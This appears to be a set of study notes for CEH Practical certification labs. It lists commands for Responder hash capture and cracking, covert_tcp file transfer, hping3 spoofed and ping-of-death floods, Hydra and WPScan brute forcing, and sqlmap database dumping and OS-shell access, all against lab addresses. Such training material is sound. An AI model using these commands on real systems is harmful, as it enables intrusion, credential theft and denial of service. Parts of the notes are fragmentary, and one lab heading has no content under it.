CEH-Practical_Notes
CEH-Practical_Notes
Lab3-Task2: OS Discovery
- nmap -A -v [IP]
- -A: Aggressive scan
- nmap -O -v [IP]
- -O: OS discovery
- nmap –script smb-os-discovery.nse [IP]
- -–script: Specify the customized script
- smb-os-discovery.nse: Determine the OS, computer name, domain, workgroup, and current time over the SMB protocol (Port 445 or
139)
1/7
Module 04: Enumeration
Addition
Lab1-Task1: Perform Active Online Attack to Crack the System's Password using Responder
- Linux:
- cd
- cd Responder
- chmox +x ./Responder.py
- sudo ./Responder.py -I eth0
- passwd: \*\*\*\*
- Windows
- run
- \\CEH-Tools
- Linux:
- Home/Responder/logs/SMB-NTMLv2-SSP-[IP].txt
- sudo snap install john-the-ripper
- passwd: \*\*\*\*
- sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt
- Attacker:
- cd Desktop
- mkdir Send
- cd Send
- echo "Secret"->message.txt
- Place->Network
- Ctrl+L
- smb://[IP]
- Account & Password
- copy and paste covert\_tcp.c
- cc -o covert\_tcp covert\_tcp.c
- Target:
- tcpdump -nvvx port 8888 -I lo
- cd Desktop
- mkdir Receive
- cd Receive
- File->Ctrl+L
- smb://[IP]
- copy and paste covert\_tcp.c
- cc -o covert\_tcp covert\_tcp.c
- ./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 9999 -dest\_port 8888 -server -file /home/ubuntu/Desktop/Receive/
receive.txt
- Tcpdump captures no packets
- Attacker
- ./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 8888 -dest\_port 9999 -file /home/attacker/Desktop/send/message.txt
- Wireshark (message string being send in individual packet)
2/7
- Use Winrtgen to generate a rainbow table
- Launch RainbowCrack
- File->Load NTLM Hashes from PWDUMP File
- Rainbow Table->Search Rainbow Table
- Use the generated rainbow table
- RainbowCrack automatically starts to crack the hashes
- Launch QuickStego
- Open Image, and select target .jpg file
- Open Text, and select a txt file
- Hide text, save image file
- Re-launch, Open Image
- Select stego file
- Hidden text shows up
- Attacker
- Wireshark
- Target
- [www.moviescope.com](http://www.moviescope.com/)
- Login
- Attacker
- Stop capture
- File-\>Save as
- Filter: http.request.method==POST
- RDP log in Target
- service
- start Remote Packet Capture Protocol v.0 (experimental)
- Log off Target
- Wireshark-\>Capture options-\>Manage Interface-\>Remote Interfaces
- Add a remote host and its interface
- Fill info
- Target
- Log in
- Browse website and log in
- Attacker
- Get packets
- Target:
- Wireshark-\>Ethernet
- Attacker
- hping3 -S [Target IP] -a [Spoofable IP] -p 22 -flood
- -S: Set the SYN flag
- -a: Spoof the IP address
- -p: Specify the destination port
- --flood: Send a huge number of packets
- Target
- Check wireshark
- Attacker (Perform PoD)
- hping3 -d 65538 -S -p 21 –flood [Target IP]
- -d: Specify data size
3/7
- -S: Set the SYN flag
- Attacker (Perform UDP application layer flood attack)
- nmap -p 139 10.10.10.19 (check service)
- hping3 -2 -p 139 –flood [IP]
- -2: Specify UDP mode
- Other UDP-based applications and their ports
- CharGen UDP Port 19
- SNMPv2 UDP Port 161
- QOTD UDP Port 17
- RPC UDP Port 135
- SSDP UDP Port 1900
- CLDAP UDP Port 389
- TFTP UDP Port 69
- NetBIOS UDP Port 137,138,139
- NTP UDP Port 123
- Quake Network Protocol UDP Port 26000
- VoIP UDP Port 5060
- nmap -p 21 [IP]
- hydra -L usernames.txt -P passwords.txt ftp://10.10.10.10
- Log in a website, change the parameter value (id )in the URL
- Conduct a XSS attack: Submit script codes via text area
Lab2-Task5: Enumerate and Hack a Web Application using WPScan and Metasploit
4/7
- set RPORT 8080
- set TARGETURI http://10.10.10.16:8080/CEH
- set USERNAME admin
- run
- Find the credential
Lab2-Task6: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server (DVWA low level security)
Lab1-Task2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap
- Login a website
- Inspect element
- Dev tools-\>Console: document.cookie
- sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" –dbs
- -u: Specify the target URL
- --cookie: Specify the HTTP cookie header value
- --dbs: Enumerate DBMS databases
- Get a list of databases
- Select a database to extract its tables
- sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope –tables
- -D: Specify the DBMS database to enumerate
- --tables: Enumerate DBMS database tables
- Get a list of tables
- Select a column
- sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope –T User\_Login --
dump
- Get table data of this column
- sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" --os-shell
- Get the OS Shell
- TASKLIST
- Nothing special
- Click VeraCrypt
- Create Volumn
- Create an encrypted file container
- Specify a path and file name
- Set password
- Select NAT
- Move the mouse randomly for some seconds, and click Format
5/7
- Exit
- Select a drive, select file, open, mount
- Input password
- Dismount
- Exit
- Nmap
- Multiple Labs
- Hydra
- Module 13: Lab2-Task1
- Sqlmap
- Module 15: Lab1-Task2
- WPScan
- Module 14: Lab2-Task5
- wpscan –-url http://10.10.10.10 -t 50 -U admin -P rockyou.txt
- Nikto
- [https://zhuanlan.zhihu.com/p/124246499](https://zhuanlan.zhihu.com/p/124246499%20)
- John
- Module 06: Lab1-Task1
- Hashcat
- Crack MD5 passwords with a wordlist:
- hashcat hash.txt -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Crack MD5 passwords in a certain format:
- hashcat -m 0 -a 3 ./hash.txt 'SKY-HQNT-?d?d?d?d'
- [https://xz.aliyun.com/t/4008](https://xz.aliyun.com/t/4008)
- [https://tools.kali.org/password-attacks/hashcat](https://tools.kali.org/password-attacks/hashcat)
- Metasploit
- Module 14: Lab2-Task5
- Responder LLMNR
- Module 06: Lab1-Task1
- Wireshark or Tcpdump
- Multiple Labs
- Steghide
- Hide
- steghide embed -cf [img file] -ef [file to be hide]
- steghide embed -cf 1.jpg -ef 1.txt
- Enter password or skip
- Extract
- steghide info 1.jpg
- steghide extract -sf 1.jpg
- Enter password if it does exist
- OpenStego
- [https://www.openstego.com/](https://www.openstego.com/)
- QuickStego
- Module 06: Lab0-Task1
- Dirb (Web content scanner)
- [https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86](https://medium.com/tech-zoom/dirb-a-web-content-
scanner-bc9cba624c86)
- [https://blog.csdn.net/weixin\_44912169/article/details/105655195](https://blog.csdn.net/weixin_44912169/article/details/105655195)
- Searchsploit (Exploit-DB)
- [https://www.hackingarticles.in/comprehensive-guide-on-searchsploit/](https://www.hackingarticles.in/comprehensive-guide-on-
searchsploit/)
- Crunch (wordlist generator)
- [https://www.cnblogs.com/wpjamer/p/9913380.html](https://www.cnblogs.com/wpjamer/p/9913380.html)
- Cewl (URL spider)
- [https://www.freebuf.com/articles/network/190128.html](https://www.freebuf.com/articles/network/190128.html)
- Veracrypt
- Module 20: Lab4-Task1
- Hashcalc
6/7
- Module 20: Lab1-Task1 (Nothing special)
- Rainbow Crack
- Module 06: Lab0-Task0
- Windows SMB
- smbclient -L [IP]
- smbclient \\ip\\sharename
- nmap -p 445 -sV –script smb-enum-services [IP]
- Run Nmap at the beginning
- nmap -sn -PR 192.168.1.1/24 -oN ip.txt
- nmap -A -T4 -vv -iL ip.txt -oN nmap.txt
- nmap -sU -sV -A -T4 -v -oN udp.txt
7/7